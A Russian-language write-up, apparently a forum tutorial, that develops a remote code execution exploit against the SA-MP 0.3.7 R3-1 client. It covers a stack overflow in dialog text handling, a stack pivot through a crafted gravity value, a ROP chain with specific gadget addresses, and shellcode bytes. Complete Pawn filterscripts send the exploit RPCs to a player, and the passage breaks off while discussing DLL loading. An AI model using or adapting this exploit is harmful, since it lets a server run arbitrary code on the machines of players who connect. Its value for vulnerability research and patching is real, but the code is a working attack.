SA-MP RCE — всё, что вы хотели знать

Эта статья на английском / This article in English

Всех приветствую. Наверняка многие слышали про какие-то там уязвимости в SA-MP, про странную аббревиатуру RCE, про версии клиента R4, R4-2, R5, которые содержат какие-то там исправления этих самых уязвимостей и которыми никто практически не пользуется. Что ж, настало время подробно раскрыть всю информацию.
Для полного понимания данной статьи и всего происходящего необходим будет некий багаж знаний по C++, ассемблеру и реверс инжинирингу. Однако, если таковых знаний у вас нет, я всё равно постараюсь изложить информацию наиболее доступно, в духе эдакого детектива, где ничего не понятно, но очень интересно. Кто знает, может именно эта статья вдохновит вас изучать данную сферу и навсегда изменит вашу жизнь... Ну да ладно, что-то я отвлёкся. Приступим.

Введение.

Итак, что это за уязвимость такая и что означает RCE? В общем случае RCE, то бишь Remote Code Execution, то бишь удалённое исполнение кода, - это такая уязвимость, которая позволяет удалённо исполнять свой код в приложении. Другими словами, если говорить от лица, эксплуатирующего уязвимость, вы можете запустить произвольный код (программу), используя уязвимую программу. Если говорить от лица потенциальной жертвы, у вас могут запустить произвольный код без вашего ведома и скрытно от вас. Грубо говоря, хакер может заставить уязвимую программу скачать другую программу и запустить её. Собственно, в нашем случае этой самой "уязвимой программой" является SA-MP.
Откуда берутся подобные уязвимости? В результате допускаемых ошибок при разработке программы, и SA-MP в этом плане не исключение. Зачастую такие ошибки случаются из-за возможности выходы за границы массивов, что позволяет записывать произвольные данные в другие участки памяти.
Поиск и раскручивание такой уязвимости до полноценного RCE можно условно разделить на следующие этапы:
1. Поиск потенциального уязвимого места в программе.
2. Анализ потенциальных возможностей и способов использования.
3. Разработка первичного шелл-кода, который откроет для нас врата для полноценного выполнения произвольного кода.
4. Разработка сценария использования найденного RCE.
Что ж, приступим.

Этап 1. Поиск.

Для обнаружения уязвимости необходимо целенаправленно реверсить приложение в тех местах, где происходит обработка поступающих внешних данных, в поисках потенциальных переполнений и прочих ошибок. Иногда ещё может помочь фаззинг, но здесь мы его рассматривать не будем. Я буду использовать версию клиента 0.3.7 R3-1, а также IDA Pro + Hex-Rays в качестве дизассемблера и декомпилятора. Также возьму уже готовую наработанную базу для IDA под версию R3-1 от LUCHARE.
Т.к. я уже знаю, где находится уязвимость, я просто продемонстрирую условную последовательность действий, как её можно было бы найти. Итак, рассмотрим обработчик RPC ShowDialog по адресу 1000F7B0:
RLjU2q6.jpeg

Тут всё ок, взглянем теперь CDialog::Open, там находится большая конструкция switch-case в зависимости от стиля диалога. Рассмотрим ветку кода для типа 2, т.е. для DIALOG_STYLE_LIST. Там сразу вызывается функция sub_1006F4A0 (я её переименую в CDialog::PrepareListbox для удобства), посмотрим её:
7YBFlTX.jpeg

Тут происходит разбитие буфера szText для строчек в диалоге. Используется локальный буфер на 264 элемента, все необходимые проверки присутствуют. Но теперь заглянем в CDialog::GetTextScreenLength:
aExuDut.jpeg

Эта функция использует локальный буфер, чтобы поместить в неё строчку, вычленить цветовые коды {xxxxxx} и посчитать ширину текста для последующего формирования диалогового окна. И опа, тут локальный массив на 132 ячейки, а сюда передаётся массив на 264 элемента. Взглянем, как он расположен на стеке:
VK6yiKi.jpeg

Эта функция не сохраняет никаких регистров на стеке, в том числе и значение esp вызвавшей функции, а сам массив расположен "на дне" стека, поэтому за ним идёт сразу адрес возврата. А это означает, что если мы передадим в диалог одну единую строку без переносов длиной 132, то мы заполним этот локальный массив полностью, а если добавим ещё 4 байта, то полностью перезапишем адрес возврата. Набросаем тестовый filterscript с использованием плагина Pawn.RakNet:
Код:
#define FILTERSCRIPT
#include <a_samp>
#include <Pawn.RakNet>

new const RPC_ShowDialog = 61;

new payload1[] =
{
//          +0    +1    +2    +3    +4    +5    +6    +7    +8    +9   +10   +11   +12   +13   +14   +15
/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x11, 0x22, 0x33, 0x44
};

new BitStream:payload_bs;

public OnFilterScriptInit()
{
    payload_bs = BS_New();
    BS_WriteUint16(payload_bs, 1); // dialog id
    BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style
    BS_WriteString8(payload_bs, "this is caption"); // caption
    BS_WriteString8(payload_bs, "left button"); // left button
    BS_WriteString8(payload_bs, "right button"); // right button
    BS_WriteCompressedString(payload_bs, payload1); // text
}

public OnFilterScriptExit()
{
    BS_Delete(payload_bs);
}

public OnPlayerCommandText(playerid, cmdtext[])
{
    if(!strcmp("/aasd1", cmdtext, true))
    {
        PR_SendRPC(payload_bs, playerid, RPC_ShowDialog);
        return 1;
    }
    return 0;
}
Здесь создаётся строка из 132 пробелов, а дальше идёт адрес 0x44332211. Загрузим fs, зайдём на сервер и введём команду:
5ta7ofs.jpeg

Вуаля, получаем краш по этому адресу! Таким образом, на данном этапе мы можем перейти по произвольному адресу.

Этап 2. Анализ.

Итак, мы можем перепрыгнуть на любой абсолютный адрес, а это значит, что наша следующая цель - записать куда-нибудь в исполняемую (это важно) память свой код и перейти по этому адресу. И здесь нас ждёт ряд серьёзных проблем.
Проблема первая. Записывать свой код нужно не абы куда, а в исполняемую память, т.е. в регион, в котором одновременно есть права и на запись, и на исполнение.
Проблема вторая. Строка с содержимым диалогом передаётся в виде текста, при этом в структуре RPC диалога он сжимается алгоритмами в библиотеке ракнета, а нулевой символ (0x00) является признаком конца строки. Это означает, что мы не можем передать строку, содержащие нули, а они нам весьма нужны.
Проблема третья. В функции CDialog::PrepareListbox одна строка ограничена 256 символами, и переполнение у нас происходит после 132-го, что означает, что мы можем выйти за границы на 124 байта. Потенциально этого может быть либо недостаточно, либо достаточно, но осложнит задачу, т.к. нам надо и манипуляции со стеком провести, и свой код загнать, и не какие-то там байты, а килобайты и даже мегабайты.
Столкнувшись с такими проблемами, может показаться, что в данном случае уязвимость реализовать вообще не получится, однако к этим проблемам нужен комплексный подход, нужно знать некоторые особенности и нюансы.
На самом деле, проблем могло быть гораздо больше, в современном софте существуют всякие stack canary, ASLR, PIE и прочие ужасы, но мы имеем дело с древней GTA San Andreas и с SA-MP'ом, где подобных штук нет или они отключены намерено. К тому же сам по себе SA-MP является модом, который грязно хакает память игры, что порой нам только упрощает работу.
В частности, SA-MP патчит память игры, устанавливая свои хуки. По умолчанию исполняемая память защищена от записи, так что SA-MP вынужден ставить исполняемым страницам памяти право на запись, чтобы записать свои хуки. Право ставится всей странице целиком, т.к. нельзя поставить права только на какие-то конкретные байты. При этом SA-MP забывает вернуть оригинальные права странице, т.е. снять право на запись, поэтому остаются регионы, в которых допустима запись и исполнение одновременно. Карту памяти можно посмотреть, например, в Cheat Engine:
15tAjp7.jpeg

Мне приглянулся регион с адресом 0x00866000, размером 4кб (это размер одной страницы), этого будет достаточно. По тому адресу находятся строки для сохранения игровой статистики в html файл. Это фича никогда не используется, так что там можно спокойно перезаписать их. Но пока запомним и отложим этот адрес, вернёмся к нему позже.
Также хочется отметить одну особенность SA-MP: у него есть фича изменения гравитации, т.е. с сервера можно установить произвольное значение. Как это реализовано? Очень просто - клиент просто записывает полученное значение по статическому адресу в самой игре. Вот только есть одна маленькая, но очень важная мелочь: при этом зачем-то устанавливается возможность исполнения этого кода. Т.к. гравитация это float, т.е. 4 байта, мы можем записать 4 байта исполняемого кода по известному нам адресу. Казалось бы, это всего лишь 4 байта, но к ним мы тоже вернёмся чуть позже и, поверьте, они сыграют решающую роль.
А сейчас о более насущных проблемах. Итак, на данном этапе мы можем выйти за границы буфера на стеке, перезаписать адрес возврата, тем самым можем прыгнуть на любой известный статический адрес и не более. Мы пока что не можем ни записать свой код, ни тем более вызвать его. Но мы можем вызывать уже существующий в игре код! А точнее, только необходимые нам фрагменты. Эта техника называется ROP, то бишь Return-Oriented Programming. Например, у нас по адресу 0x00555550 находятся вот такие инструкции: pop ecx; ret; а по адресу 0x00444440 находится pop edi; ret; Пользуясь нашим переполнением буфера, мы записываем на стек следующее:
0x00555550, 0x00000011, 0x00444440, 0x00000022
При этом произойдёт вот что:
1) Когда исполнится инструкция ret в нашей CDialog::GetTextScreenLength, произойдёт переход по адресу 0x00555550, регистр esp будет указывать на значение 0x00000011
2) По адресу 0x00555550 исполнится инструкция pop ecx, т.е. из стека достанется значение и присвоится в регистр ecx. А что у нас там на вершине стека? Правильно, 0x00000011, значит это значение и запишется в регистр ecx, а регистр esp сметится ниже на значение 0x00444440
3) Дальше исполнится инструкция ret. Произойдёт переход по адресу 0x00444440, регистр esp будет указывать на 0x00000022
4) По адресу 0x00444440 исполнится инструкция pop edi, в регистр edi присвоится значение 0x00000022
и т.д.
Таким образом, с помощью таких цепочек, именуемых rop chains, мы можем манипулировать регистрами, а также вызывать другие необходимые нам команды, в частности, на копирование данных из одной области памяти в другую. Сами вызываемые фрагменты кода именуются гаджетами, и главная здесь сложность - найти подходящие гаджеты среди всего кода игры. Специально для поиска гаджетов созданы такие инструменты как radare2, ROPgadget и другие, но мы не будем их рассматривать в рамках этой статьи.
Но у нас есть другая проблема, не позволяющая нам записывать нули в строку, а для rop chain'ов они нам нужны. Для решения этой (и не только) проблемы используется приём, называемый stack pivoting, заключающийся в изменении значения esp. Как вариант, мы можем разместить наши rop chains в более подходящем месте, а затем подменить esp на это самое "подходящее место". Вопрос: как подменять esp? Ответ: всё так же, с помощью гаджета. В совокупности найти подходящее место для rop chains и найти подходящий гаджет для stack pivoting может быть самой сложной задачей, возможно даже без решения, и, как следствие, без возможности реализовать уязвимость, но у нас здесь уникальный случай.
Помимо самого текста диалога, в RPC ещё передаётся строка заголовка и строки левой и правой кнопки. Если изучить код обработчика RPC_ShowDialog можно заметить, что там происходит чтение заданного количества байт из битстрима в локальный массив. Длина при этом ограничена 256 символами, и неограничена присутствием нулевых символов. Отлично, можно спокойно использовать один из этих трёх массивов, я возьму caption. Теперь вопрос - как добраться до него на стеке? В этом нам поможет регистр ebp. Из всей цепочки вызовов RPC_ShowDialog -> CDialog::Open -> CDialog::PrepareListbox -> CDialog::GetTextScreenLength сохранение esp в ebp происходит в CDialog::PrepareListbox, т.е. в ebp хранится значение esp из CDialog::Open в момент вызова CDialog::PrepareListbox. IDA может нам слегка подсказать, где находится указатель на caption относительно esp в CDialog::Open:
l0i9rME.jpeg

Но не спешите расслабляться. В процессе своей работы CDialog::Open сохраняет на стеке значения одного из регистров (+1), пушит 2 аргумента в CDialog::PrepareListbox (+2), вызывает её (+1), и сама CDialog::PrepareListbox сохраняет на стек регистр ebp (+1). Т.е. у нас сохранённый esp ещё был сдвинут вверх на 5 позиций, а, значит, к 0x28 надо прибавить 5 раз по 4, т.е. 0x14. Получим 0x3C.
Можно посчитать и другим путём, включив в IDA отображение в листинге указателя стека:
lZxulKW.jpeg

Прибавить к нему сдвиг при call (+0x4), push ebp в вызванной функции (ещё +0x4), и прибавить сдвиг на сам caption:
kQb6E7m.jpeg

Итого 0x28+0x4+0x4+0xC=0x3C.
Но вообще, я бы не рекомендовал считать таким образом, т.к. тут легко ошибиться и пропустить что-либо. Гораздо лучше вычислить сдвиг эмпирическим путём: взять отладчик, поставить брикпоинт, отправить диалог с неким текстом в caption, при срабатывании брикпоинта пролистать окно стека и найти там указатель на caption по указанному ранее тексту, посчитать разницу между ним и значением ebp.
Итак, чтобы выставить esp на массив caption, нам нужно:
Код:
mov esp, dword ptr [ebp+0x3c]
И затем выполнить ret, чтобы перейти по адресу гаджета, который уже будет указан в начале caption. Но такой гаджет 1 в 1 мы найти не сможем, т.к. компиляторы не генерируют подобный код, а найти аналог из последовательностей нескольких гаджетов может быть достаточно проблематично. Но зачем искать, когда мы сами можем записать такой гаджет? Настало время для нашей гравитации!
Для преобразования ассемблерного кода в машинные коды я буду использовать этот сайт. Получим следующий код:
Код:
0:  8b 65 3c                mov    esp,DWORD PTR [ebp+0x3c]
3:  c3                      ret
Это значит, что можно выставить значение гравитации 0xC33C658B, затем вызвать диалог с переполнением на адрес переменной гравитации, и у нас вершина стека сдвинется на caption! Но не стоит торопиться. Заглянув в память по адресу переменной гравитации, а именно 0x00863984, можно заметить, что сразу за этой переменной следующим значением идёт 0xC3, а у нас последняя инструкция тоже 0xC3. При этом, если представить 0xC33C658B в виде float, получится значение -188.396652222, что довольно негативно может повлиять на игру, т.к. дефолтное значение неотрицательное и равняется 0.008, могут появиться аномалии и игра вообще может повиснуть, так что мы можем немного пожонглировать с инструкциями, чтобы значение оказалось приближенным к 0.008. Наилучшей будет такая комбинация:
Код:
0:  90                      nop
1:  8b 65 3c                mov    esp,DWORD PTR [ebp+0x3c]
Т.е. значение 0x3C658B90, которое во float представлении будет 0.0140103250742, что даже и не сильно-то отличается от оригинала. Но мы в любом случае в конце восстановим оригинальное значение.
Что ж, обновим наш filterscript, а именно:
1. Запишем в переполняющую строку text адрес гравитации, где у нас гаджет с stack pivoting.
2. Вместо текста запишем в caption произвольный адрес (в дальнейшем там у нас будут rop chains).
3. Напишем функцию установки гравитации игроку через Pawn.RakNet. Также реализуем отправку RPC гравитации и диалога в отдельном канале очередёности с гарантией доставки RELIABLE_ORDERED, чтобы RPC пришли строго в порядке отправления, и укажем низкий приоритет (это будет полезно в будущем).
Код:
#define FILTERSCRIPT
#include <a_samp>
#include <Pawn.RakNet>

new const RPC_ShowDialog = 61;
new const RPC_ScrSetGravity = 146;

new payload1[] =
{
//          +0    +1    +2    +3    +4    +5    +6    +7    +8    +9   +10   +11   +12   +13   +14   +15
/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x84, 0x39, 0x86, 0x00
};

new payload2[] =
{
    0x66, 0x77, 0x88, 0x99
};


new BitStream:payload_bs;

public OnFilterScriptInit()
{
    payload_bs = BS_New();
    BS_WriteUint16(payload_bs, 1); // dialog id
    BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style
    BS_WriteUint8(payload_bs, sizeof(payload2)); // caption length
    for(new i = 0; i < sizeof(payload2); i++) // caption
    {
        BS_WriteUint8(payload_bs, payload2[i]);
    }
    BS_WriteString8(payload_bs, "left button"); // left button
    BS_WriteString8(payload_bs, "right button"); // right button
    BS_WriteCompressedString(payload_bs, payload1); // text
}

public OnFilterScriptExit()
{
    BS_Delete(payload_bs);
}

public OnPlayerCommandText(playerid, cmdtext[])
{
    if(!strcmp("/aasd1", cmdtext, true))
    {
        PerformRCE(playerid);
        return 1;
    }
    return 0;
}

PerformRCE(playerid)
{
    SetPlayerGravity(playerid, Float:0x3C658B90);
    PR_SendRPC(payload_bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
    SetPlayerGravity(playerid, 0.008);
}

SetPlayerGravity(playerid, Float:gravity)
{
    new BitStream:bs = BS_New();
    BS_WriteFloat(bs, gravity);
    PR_SendRPC(bs, playerid, RPC_ScrSetGravity, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
    BS_Delete(bs);
}
Компилируем, загружаем, заходим, вводим команду, получаем краш по адресу 0x99887766, как мы и указали.
anC5BLQ.jpeg

Отлично! Самое сложное позади, теперь мы можем перейти к этапу разработки rop chains и первичного шелла.

Этап 3. Разработка

Теперь перед нами стоит 2 задачи. Первая - нам надо найти такую последовательность гаджетов, которая скопирует нам шеллкод со стека в исполняемую память. Вторая - собственно, написать этот шеллкод, его мы будем размещать следом за гаджетами в caption. Нужно помнить, что мы ограничены 256 байтами, а шеллкод должен помочь нам развернуть более крупный код, нежели пару сотен байт.
Для копирования участков памяти используются инструкции rep movsb/movsw/movsd. В регистр edi помещается адрес куда копировать, в регистр esi - откуда, в регистр ecx - кол-во итераций. Значит нам нужно найти примерно 4 гаджета. Начнём с поиска гаджета для копирования. Просмотрев все подобные инструкции в коде игры, нашёлся один такой, который оказался очень интересен:
7JXAtbV.jpeg

Тут у нас заодно очень удобно устанавливается регистр esi, причём туда загружается адрес со стека. Как раз то, что нам нужно, и одним гаджетом на установку esi меньше.
Начнём записывать наш rop chain. Установим адрес возврата на инструкцию lea:
Код:
0x005B2EE6
После выполнения копирования в гаджете из стека достаются значения в edi и esi. Нам они не нужны, поэтому просто укажем нули для корректности стека:
Код:
0x005B2EE6 // rep movsd gadget
0x00000000 // edi value
0x00000000 // esi value
Затем, нужно указать адрес для следующего перехода. Т.к. к этому моменту наш шеллкод будет скопирован, мы передадим управление ему. На прошлом этапе мы определили, что будем копировать наш шеллкод по адресу 0x00866000. Его и укажем:
Код:
0x005B2EE6 // rep movsd gadget
0x00000000 // edi value
0x00000000 // esi value
0x00866000 // ret to dst
Теперь нам надо посчитать, где размещать шеллкод. Т.к. инструкция выглядит следующим образом:
Код:
lea esi, [esp+0x10]
то это означает:
Код:
(esp-0x04) 0x005B2EE6 // rep movsd gadget
(esp+0x00) 0x00000000 // edi value
(esp+0x04) 0x00000000 // esi value
(esp+0x08) 0x00866000 // ret to dst
(esp+0x0C) ...
(esp+0x10) ...
Значит, после последнего адреса возврата надо уступить одну позицию. Поместим туда тоже нули. В итоге, наш rop chain на данном этапе будет выглядеть так:
Код:
0x005B2EE6 // rep movsd gadget
0x00000000 // edi value
0x00000000 // esi value
0x00866000 // ret to dst
0x00000000 // pad
(shellcode here)
Теперь надо найти гаджет для установки значения в edi. Тут всё просто, надо найти последовательность команд pop edi; ret. В бинарном виде это будет 0x5F, 0xC3, поэтому просто найдём данную последовательность байт в коде игры. Она нашлась по адресу 0x00402E8D. Значит, наш rop chain будет выглядеть теперь так:
Код:
0x00402E8D // pop edi gadget
0x00866000 // edi value
0x005B2EE6 // rep movsd gadget
0x00000000 // edi value
0x00000000 // esi value
0x00866000 // ret to dst
0x00000000 // pad
(shellcode here)
И наконец, последнее: надо найти гаджет для установки значения в ecx. Аналогичным образом ищем pop ecx; ret и находим по адресу 0x00402715. Только тут нам надо посчитать, сколько именно байт копировать. Давайте посмотрим:
Код:
0x00402715 // pop ecx gadget
0x000000?? // ecx value
0x00402E8D // pop edi gadget
0x00866000 // edi value
0x005B2EE6 // rep movsd gadget
0x00000000 // edi value
0x00000000 // esi value
0x00866000 // ret to dst
0x00000000 // pad
(shellcode here)
Максимум массив caption может быть длиной 256. Из них 9 позиций в стеке уходит на наши rop chains, это 36 байт. Т.е. наш шеллкод начнётся с 37-го байта и может быть максимум до 256-й. Скопируем целиком всё до конца, даже если итоговый шеллкод окажется меньше. Значит нам потребуется скопировать 256-36 байт, то есть 220. Важно учесть, что movsd копирует по 4 байта за итерацию, значит итераций у нас будет 55, то есть 0x37:
Код:
0x00402715 // pop ecx gadget
0x00000037 // ecx value
0x00402E8D // pop edi gadget
0x00866000 // edi value
0x005B2EE6 // rep movsd gadget
0x00000000 // edi value
0x00000000 // esi value
0x00866000 // ret to dst
0x00000000 // pad
(shellcode here)
Давайте подытожим, что мы имеем на данном этапе. Итак, сначала мы отправляем клиенту специфичное значение гравитации, в которой содержится код для stack pivoting. Затем осуществляем переполнение с помощью диалога, из-за чего при возврате из функции CDialog::GetTextScreenLength управление переходит не обратно в CDialog::PrepareListbox, откуда она была вызвана, а в наш код stack pivoting. Там подменяется указатель на стек, а именно устанавливается на массив caption из RPC_ShowDialog, в котором с помощью манипуляций возвратами мы копируем наш шеллкод в исполняемую память и передаём управление ему.
Наша первая задача с rop chains решена, перейдём ко второй - написанию этого самого шеллкода. И здесь нас ждут две, так сказать, подзадачи. Во-первых, после всех этих манипуляций у нас "сломан" стек, мы должны его вернуть в корректное состояние и осуществить корректное дальнейшее исполнение программы, будто бы ничего и не было. Ну и во-вторых, загрузить более объёмный код и исполнить его.
Напомню, что у нас была следующая цепочка вызовов: RPC_ShowDialog -> CDialog::Open -> CDialog::PrepareListbox -> CDialog::GetTextScreenLength. Вместо возврата в CDialog::PrepareListbox мы перешли в выполнение нашего шеллкода. Логично было бы вернуться обратно непосредственно в CDialog::PrepareListbox, но, во-первых, в этом нет необходимости (т.к. там нет ничего важного, что требовало бы возвращения туда), а во-вторых для простоты реализации мы будем "мимикрировать" под CDialog::PrepareListbox и в конце вернём управление в CDialog::Open.
Для начала нам надо выставить указатель на стек туда, где он должен был быть при возвращении из CDialog::GetTextScreenLength. В этом нам снова поможет регистр ebp, только теперь надо посчитать оффсет в другую сторону. Снова обратимся к подсказкам IDA Pro:
xb01r78.jpeg

В момент после вызова CDialog::GetTextScreenLength стек у CDialog::PrepareListbox смещён на 0x12C, но т.к. мы будем восстанавливаться относительно ebp, а CDialog::PrepareListbox в самом начале сохраняет предыдущее значение ebp на стек, сдвигая тем самым стек на 4 байта, то мы должны отнять у 0x12C эти 4 байта и получим 0x128. Значит, первая инструкция по восстановлению указателя на стек в нашем шеллкоде будет иметь вид:
Код:
lea esp, [ebp-0x128]
Далее нам нужно вернуться обратно в CDialog::Open, а поэтому просто скопируем эпилог функции CDialog::PrepareListbox в наш шеллкод:
Код:
pop     edi
pop     esi
mov     eax, 1
pop     ebx
mov     esp, ebp
pop     ebp
retn    8
На данном этапе я предлагаю проверить работоспособность шеллкода, а для наглядности добавить команду установки значения денег игроку:
Код:
mov dword ptr [0x00B7CE50], 1137
Наш шеллкод примет вид:
Код:
lea esp, [ebp-0x128]
mov dword ptr [0x00B7CE50], 1137
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
а в бинарном представлении: 0x8D, 0xA5, 0xD8, 0xFE, 0xFF, 0xFF, 0xC7, 0x05, 0x50, 0xCE, 0xB7, 0x00, 0x71, 0x04, 0x00, 0x00, 0x5F, 0x5E, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x5B, 0x89, 0xEC, 0x5D, 0xC2, 0x08, 0x00
Обновим наш filterscript:
Код:
#define FILTERSCRIPT
#include <a_samp>
#include <Pawn.RakNet>

new const RPC_ShowDialog = 61;
new const RPC_ScrSetGravity = 146;

new payload1[] =
{
//          +0    +1    +2    +3    +4    +5    +6    +7    +8    +9   +10   +11   +12   +13   +14   +15
/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x84, 0x39, 0x86, 0x00
};

new payload2[] =
{
    0x15, 0x27, 0x40, 0x00, // pop ecx gadget
    0x37, 0x00, 0x00, 0x00, // ecx value
    0x8D, 0x2E, 0x40, 0x00, // pop edi gadget
    0x00, 0x60, 0x86, 0x00, // edi value
    0xE6, 0x2E, 0x5B, 0x00, // rep movsd gadget
    0x00, 0x00, 0x00, 0x00, // edi value
    0x00, 0x00, 0x00, 0x00, // esi value
    0x00, 0x60, 0x86, 0x00, // ret to dst
    0x00, 0x00, 0x00, 0x00, // pad
 
    0x8D, 0xA5, 0xD8, 0xFE, 0xFF, 0xFF, 0xC7, 0x05, 0x50, 0xCE, 0xB7, 0x00, 0x71, 0x04, 0x00, 0x00, 0x5F,
    0x5E, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x5B, 0x89, 0xEC, 0x5D, 0xC2, 0x08, 0x00
};


new BitStream:payload_bs;

public OnFilterScriptInit()
{
    payload_bs = BS_New();
    BS_WriteUint16(payload_bs, 1); // dialog id
    BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style
    BS_WriteUint8(payload_bs, sizeof(payload2)); // caption length
    for(new i = 0; i < sizeof(payload2); i++) // caption
    {
        BS_WriteUint8(payload_bs, payload2[i]);
    }
    BS_WriteString8(payload_bs, "left button"); // left button
    BS_WriteString8(payload_bs, "right button"); // right button
    BS_WriteCompressedString(payload_bs, payload1); // text
}

public OnFilterScriptExit()
{
    BS_Delete(payload_bs);
}

public OnPlayerCommandText(playerid, cmdtext[])
{
    if(!strcmp("/aasd1", cmdtext, true))
    {
        PerformRCE(playerid);
        return 1;
    }
    return 0;
}

PerformRCE(playerid)
{
    SetPlayerGravity(playerid, Float:0x3C658B90);
    PR_SendRPC(payload_bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
    SetPlayerGravity(playerid, 0.008);
}

SetPlayerGravity(playerid, Float:gravity)
{
    new BitStream:bs = BS_New();
    BS_WriteFloat(bs, gravity);
    PR_SendRPC(bs, playerid, RPC_ScrSetGravity, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
    BS_Delete(bs);
}
Заходим в игру, вводим команду, получаем результат:
mOmUC1O.jpeg

Всё работает! Правда, остаётся открытым пустой диалог. Но SA-MP позволяет закрыть любой открытый диалог, отправив диалог с отрицательным id. Воспользуемся этим. Здесь мы также не будем пользоваться нативной функцией, а напишем свою, чтобы отправлять RPC в отдельном канале очерёдности:
Код:
HidePlayerDialog(playerid)
{
    new BitStream:bs = BS_New();
    BS_WriteUint16(bs, -1); // id
    BS_WriteUint8(bs, DIALOG_STYLE_MSGBOX); // style
    BS_WriteString8(bs, " "); // caption
    BS_WriteString8(bs, ""); // left button
    BS_WriteString8(bs, ""); // right button
    BS_WriteCompressedString(bs, " "); // text
    PR_SendRPC(bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);
    BS_Delete(bs);
}

Этап 4.

Теперь нам предстоит выполнить что-то посерьёзнее. Например, загрузить и запустить .exe или подгрузить .dll. Рассмотрим вариант с dll. Традиционно, здесь нас ждёт ряд проблем, которые нам предстоит решить. Итак, WinAPI функция LoadLibrary не позволяет произвести загрузку напрямую из памяти, она может загружать только из файла. Можно из шеллкода создавать файл, помещать туда содержимое, а затем подгружать его. Но такое поведение может не понравится антивирусам и другим системам защиты, и в общем случае работать ненадёжно и нестабильно, так что отложим этот вариант. Есть способы подгрузки dll из памяти, однако они весьма сложны и объёмны, реализация этих способов так же не поместится в доступные нам ~200 байт. Можно скомпилировать dll таким образом, чтобы она не использовала импорты и размещала свой код по фиксированному адресу, а затем брать этот код и размещать его в доступные области памяти самой игры по тем же адресам. Этот вариант имеет право на жизнь и даже рабочий, но крайне неудобный и 